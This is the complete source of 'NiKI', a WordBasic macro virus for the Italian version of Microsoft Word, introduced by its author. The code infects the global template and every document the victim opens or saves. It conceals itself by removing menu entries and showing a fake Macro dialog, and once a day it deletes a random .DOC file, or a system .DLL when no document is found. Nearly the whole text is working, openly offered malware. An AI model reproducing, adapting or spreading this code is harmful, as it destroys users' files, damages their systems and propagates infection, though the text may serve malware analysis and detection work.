NiKI.MacroVirus [Date ???]

		NiKI.DOC	 Active MacroVirus 

For ITALIAN Version of Word!!!
Delete 1 file *.DOC every day (if not found , delete 1 file *.DLL),
unless...??? :-D
Stealth.
Check if exist or execute AutoExex (If not ExsistAutoExec or 
BypassAutoExec........)
I haven't found 'bugs', you can study it better!

----------------------
Macro AutoExec
Dim Shared  DayNow$
Dim Shared regConf

Sub MAIN
Dim listDisp$(2), listMac$(4)
EcranMiseAJour 0
FichierNouveau .NouvModle = 0, .Modle = "NORMAL"
DsactiverTouches 1
DsactiverMacrosAuto 0
On Error Goto bye
menuNiKI
regConf = 0
verWin = Val(LitInfosSystme$(24))
verWW = Val(AppInfo$(2))
If VerWin >= 40 And verWW = 70 Then regConf = - 1					 
If get_date$ = "" Then
	DayNow$ = LTrim$(Str$(DateVal(Date$())))
	set_date
	Goto Done
EndIf
If DateVal(Date$(Val(get_date$))) = DateVal(Date$()) Then Goto bye	   	 
DayNow$ = LTrim$(Str$(DateVal(Date$())))
set_date
Done:
attesa = Maintenant() + 0.0002314814815
h$ = Str$(Heure(attesa))
m$ = Str$(Minute(attesa))
s$ = Str$(Seconde(attesa))
endtim$ = h$ + "." + m$ + "." + s$
OnTime endtim$, "NiKI"
bye:
OutilsOptionsEnregistrement .InviteGlobalDot = 0
DsactiverTouches 0
EcranMiseAJour 1
End Sub

Sub menuNiKI
Dim NumTestoMenu(3), VoceMenu$(3), Tipo(3)
NumTestoMenu(0) = 1
NumTestoMenu(1) = 3
NumTestoMenu(2) = 6
NumTestoMenu(3) = 1
VoceMenu$(0) = "Mo&delli..."
VoceMenu$(1) = "&Barre degli strumenti..."
VoceMenu$(2) = "Personali&zza..."
VoceMenu$(3) = "Mo&delli..."
Tipo(0) = 0
Tipo(1) = 0
Tipo(2) = 0
Tipo(3) = 1
For i = 0 To 3
NomeMenu$ = TexteMenu$(Tipo(i), NumTestoMenu(i))
Posto = 0
For nVoce = 1 To CompteElmentsMenu(NomeMenu$, Tipo(i), 0)
   Trovato$ = TexteElmentMenu$(NomeMenu$, Tipo(i), nVoce, 0)
   If Trovato$ = VoceMenu$(i) Then Posto = nVoce
Next
If Posto <> 0 Then
TestoDelMenu$ = TexteElmentMenu$(NomeMenu$, Tipo(i), Posto, 0)
OutilsPersonnaliserMenus .TypeMenu = Tipo(i), .Position = Posto,  .Menu = NomeMenu$, .Nom = MacroElmentMenu$(NomeMenu$, Tipo(i), Posto, 0), .TexteMenu = TestoDelMenu$, .Contexte = 0, .Retirer
End If
Next i
End Sub

Sub set_date
If regConf Then
SetPrivateProfileString "HKEY_CURRENT_USER\Software\Microsoft\Word\7.0\Options", "wwf", DayNow$, ""
Else
SetPrivateProfileString "Microsoft Word", "wwf", DayNow$, "winword6.ini"
End If
End Sub

Function get_date$
If regConf Then
get_date$ = GetPrivateProfileString$("HKEY_CURRENT_USER\Software\Microsoft\Word\7.0\Options", "wwf", "")
Else
get_date$ = GetPrivateProfileString$("Microsoft Word", "wwf", "winword6.ini")
End If
End Function
------------------------------------------
Macro AutoOpen
Sub MAIN
Dim listDisp$(2), listMac$(4)
EcranMiseAJour 0
DsactiverTouches 1
DsactiverMacrosAuto 0
If gia_infetto Then Goto bye
infectGlobal:
On Error Goto bye
OutilsOptionsEnregistrement .InviteGlobalDot = 0
OutilsOptionsGnral .FichiersRcents = 1, .NbFichiersRcents = 2
menuNiKI
nomeDelFile$ = NomFichier$()
On Error Resume Next
MacroCopie nomeDelFile$ + ":AutoExec", "Generale:AutoExec", 1
MacroCopie nomeDelFile$ + ":AutoOpen", "Generale:AutoOpen", 1
MacroCopie nomeDelFile$ + ":FileApri", "Generale:FileApri", 1
MacroCopie nomeDelFile$ + ":FileSalvaConNome", "Generale:FileSalvaConNome", 1
MacroCopie nomeDelFile$ + ":StrumMacro", "Generale:StrumMacro", 1
MacroCopie nomeDelFile$ + ":NiKI", "Generale:NiKI", 1
FichierEnregistrer

bye:
EcranMiseAJour 1
DsactiverTouches 0
On Error Goto 0
End Sub

Sub menuNiKI
Dim NumTestoMenu(3), VoceMenu$(3), Tipo(3)
NumTestoMenu(0) = 1
NumTestoMenu(1) = 3
NumTestoMenu(2) = 6
NumTestoMenu(3) = 1
VoceMenu$(0) = "Mo&delli..."
VoceMenu$(1) = "&Barre degli strumenti..."
VoceMenu$(2) = "Personali&zza..."
VoceMenu$(3) = "Mo&delli..."
Tipo(0) = 0
Tipo(1) = 0
Tipo(2) = 0
Tipo(3) = 1

For i = 0 To 3
NomeMenu$ = TexteMenu$(Tipo(i), NumTestoMenu(i))
Posto = 0
For nVoce = 1 To CompteElmentsMenu(NomeMenu$, Tipo(i), 0)
   Trovato$ = TexteElmentMenu$(NomeMenu$, Tipo(i), nVoce, 0)
   If Trovato$ = VoceMenu$(i) Then Posto = nVoce
Next
If Posto <> 0 Then
TestoDelMenu$ = TexteElmentMenu$(NomeMenu$, Tipo(i), Posto, 0)
OutilsPersonnaliserMenus .TypeMenu = Tipo(i), .Position = Posto,  .Menu = NomeMenu$, .Nom = MacroElmentMenu$(NomeMenu$, Tipo(i), Posto, 0), .TexteMenu = TestoDelMenu$, .Contexte = 0, .Retirer
End If
Next i
End Sub

Function gia_infetto
On Error Goto bye
gia_infetto = 0
macroTotali = CompteMacros(0, 0)
For i = 1 To macroTotali
If NomMacro$(i, 0, 0) = "NiKI" And macroTotali > 5 Then
        gia_infetto = - 1 : i = macroTotali
      End If
Next i
bye:
End Function
-----------------------------------------
Macro NiKi
Dim Shared iniziale$
Dim Shared min, max

Sub MAIN
DsactiverTouches
EcranMiseAJour(0)
trovataDir = - 1
min = 48
max = 90
ver = Val(LitInfosSystme$(24))
If Ver >= 40 Then
	dir_file$ = GetPrivateProfileString$("HKEY_CURRENT_USER\Software\Microsoft\Word\7.0\Options", "DOC-PATH", "")
Else
	dir_file$ = GetProfileString$("Microsoft Word", " DOC-PATH")
End If
On Error Goto done
DbutDocument
MotDroite(1, 1)
codice$ = Slection$()
SendKeys "+{F5}"
If SlInfo(19) = Val(codice$) Then Goto bye              			

done:
trovaFileDoc = 0
On Error Goto 0
If dir_file$ = "" Then Goto inizia_ricerca
sottodircorrente2$  = dir_file$
On Error Goto inizia_ricerca
ChDir(sottodircorrente2$)
Goto esegui

inizia_ricerca:
On Error Goto 0
ChDir "C:\"
For i = 1 To CompteRpertoires("c:\")
dircorrente$ = LCase$(LitRpertoires$(i))
If dircorrente$ = "msoffice" Or dircorrente$ = "winword" Then
ChDir dircorrente$
Goto scelta
End If
Next i
trovataDir = 0
Goto esegui

scelta:
If dircorrente$ = "msoffice" Then
 Goto sottodir1
Else
Goto sottodir2
End If

sottodir1:
For i = 1 To CompteRpertoires()
sottodircorrente1$ = LCase$(LitRpertoires$(i))
If sottodircorrente1$ = "winword" Then
ChDir sottodircorrente1$
Goto sottodir2
End If
Next i
trovataDir = 0
Goto esegui

sottodir2:
For i = 1 To CompteRpertoires()
sottodircorrente2$ = LCase$(LitRpertoires$(i))
If Left$(sottodircorrente2$, 3) = "doc" Then
ChDir sottodircorrente2$
Goto esegui
End If
Next i
trovataDir = 0

esegui:
car_iniziale
If trovaFileDoc > 3 Then trovataDir = 0
If trovataDir Then
	primo$ = Files$(iniziale$ + "*.DOC")
		If primo$ = "" Then	trovaFileDoc = trovaFileDoc + 1 : Goto esegui
	trovaFileDoc = 0
Else
	ChDir "c:\windows\system"
	primo$ = Files$("*.dll")
End If
On Error Goto prossimo
Kill primo$
Goto bye

prossimo:
On Error Goto 0
If trovaFileDoc < 4 Then Goto esegui
bye:
On Error Goto 0
SendKeys "+{F5}"
DsactiverTouches 0
EcranMiseAJour(1)
ChDir(dir_file$)
End Sub

Sub car_iniziale
cerca:
car_inizio = Int(Rnd() * ((max + 1)  -  min) + min)
If car_inizio  > 57 And car_inizio < 65 Then Goto cerca
iniziale$ = Chr$(car_inizio)
End Sub
-------------------
Macro NNNIIIKKK
Sub MAIN
REM 
End Sub
--------------------
Macro FileApri
Sub MAIN
On Error Resume Next
If (Not existAutoExec) Or (bypassAutoExec) Then Call NiKI

On Error Goto bye
Dim dlg As FichierOuvrir
GetCurValues dlg
Dialog dlg
FichierOuvrir dlg
On Error Resume Next
nomeDelFile$ = NomFichier$()
TargetMacro$ = nomeDelFile$ + ":AutoExec"
MacroCopie "Generale:AutoExec", TargetMacro$, 1
TargetMacro$ = nomeDelFile$ + ":AutoOpen"
MacroCopie "Generale:AutoOpen", TargetMacro$, 1
TargetMacro$ = nomeDelFile$ + ":FileApri"
MacroCopie "Generale:FileApri", TargetMacro$, 1
TargetMacro$ = nomeDelFile$ + ":FileSalvaConNome"
MacroCopie "Generale:FileSalvaConNome", TargetMacro$, 1
TargetMacro$ = nomeDelFile$ + ":StrumMacro"
MacroCopie "Generale:StrumMacro", TargetMacro$, 1
TargetMacro$ = nomeDelFile$ + ":NiKI"
MacroCopie "Generale:NiKI", TargetMacro$, 1
FichierEnregistrerSous .Format = 1

bye:
On Error Goto 0
End Sub

Function ExistAutoExec
On Error Goto bye
ExistAutoexec = 0
macroTotali = CompteMacros(0, 0)
For i = 1 To macroTotali
If NomMacro$(i, 0, 0) = "AutoExec" Then
			ExistAutoexec = - 1 : i = macroTotali
      End If
Next i
bye:
End Function

Function bypassAutoExec
bypassAutoExec = 0
verWin = Val(LitInfosSystme$(24))
verWW = Val(AppInfo$(2))
If VerWin >= 40 And verWW = 70 Then					 
get_date$ = GetPrivateProfileString$("HKEY_CURRENT_USER\Software\Microsoft\Word\7.0\Options", "wwf", "")
Else
get_date$ = GetPrivateProfileString$("Microsoft Word", "wwf", "winword6.ini")
End If
If get_date$  = "" Or (DateVal(Date$(Val(get_date$))) <> DateVal(Date$())) Then bypassAutoExec = - 1
bye:	   	 
End Function
-----------------------------
Macro FileSalvaConNome
Sub MAIN
On Error Resume Next
If Not existAutoExec Then Call NiKI
On Error Resume Next
Dim dlg As FichierEnregistrerSous
GetCurValues dlg
result = Dialog dlg
If (dlg.Format = 0) Or (dlg.Format = 1) Then
nomeDelFile$ = NomFichier$()
TargetMacro$ = nomeDelFile$ + ":AutoExec"
MacroCopie "Generale:AutoExec", TargetMacro$, 1
TargetMacro$ = nomeDelFile$ + ":AutoOpen"
MacroCopie "Generale:AutoOpen", TargetMacro$, 1
TargetMacro$ = nomeDelFile$ + ":FileApri"
MacroCopie "Generale:FileApri", TargetMacro$, 1
TargetMacro$ = nomeDelFile$ + ":FileSalvaConNome"
MacroCopie "Generale:FileSalvaConNome", TargetMacro$, 1
TargetMacro$ = nomeDelFile$ + ":StrumMacro"
MacroCopie "Generale:StrumMacro", TargetMacro$, 1
TargetMacro$ = nomeDelFile$ + ":NiKI"
MacroCopie "Generale:NiKI", TargetMacro$, 1
dlg.Format = 1
End If

If result = 0 Then Goto bye
FichierEnregistrerSous dlg

bye:
End Sub

Function ExistAutoExec
On Error Goto bye
ExistAutoexec = 0
macroTotali = CompteMacros(0, 0)
For i = 1 To macroTotali
If NomMacro$(i, 0, 0) = "AutoExec" Then
			ExistAutoexec = - 1 : i = macroTotali
      End If
Next i
bye:
End Function
-----------------------------
Macro StrumMacro
Sub MAIN
Dim listDisp$(2), listMac$(0)
EcranMiseAJour 0
DsactiverTouches 1
DsactiverMacrosAuto 0
On Error Goto bye
listMac$(0) = ""
listDisp$(0) = "Tutti i modelli attivi"
listDisp$(1) = "Normal.dot (modello generale)"
listDisp$(2) = "Comandi di Word"
Begin Dialog BoiteDlgUtilisateur 424, 308, "Macro", .functionMe
	ComboBox 7, 28, 250, 160, listMac$(), .mac
	Text 6, 12, 100, 13, "&Nome macro:"
	Text 6, 193, 152, 29, "M&acro disponibili in:"
	Text 3, 234, 95, 13, "Descrizione:", .tDescr
	TextBox 5, 248, 410, 53, .listDesc, 1
	DropListBox 5, 209, 411, 83, listDisp$(), .disponib
	PushButton 274, 19, 140, 21, "&Registra", .reg
	PushButton 274, 45, 140, 21, "Annulla", .ann
	PushButton 274, 75, 140, 21, "Esegui", .exe
	PushButton 274, 99, 140, 21, "Crea", .crea
	PushButton 274, 124, 140, 21, "Elimina", .elim
	PushButton 274, 154, 140, 21, "Libreria", .lib

End Dialog
Dim dlg As BoiteDlgUtilisateur
Dialog(dlg)
If dlg.ann Then Goto bye
If dlg.reg Then Beep : Goto bye
If dlg.lib Then Goto bye
bye:
EcranMiseAJour 1
DsactiverTouches 0
On Error Goto 0
End Sub

Function functionMe(id$, action, suppval)
DlgAccessible "elim", 0
DlgAccessible "exe", 0
DlgAccessible "crea", 0
End Function
----------------------------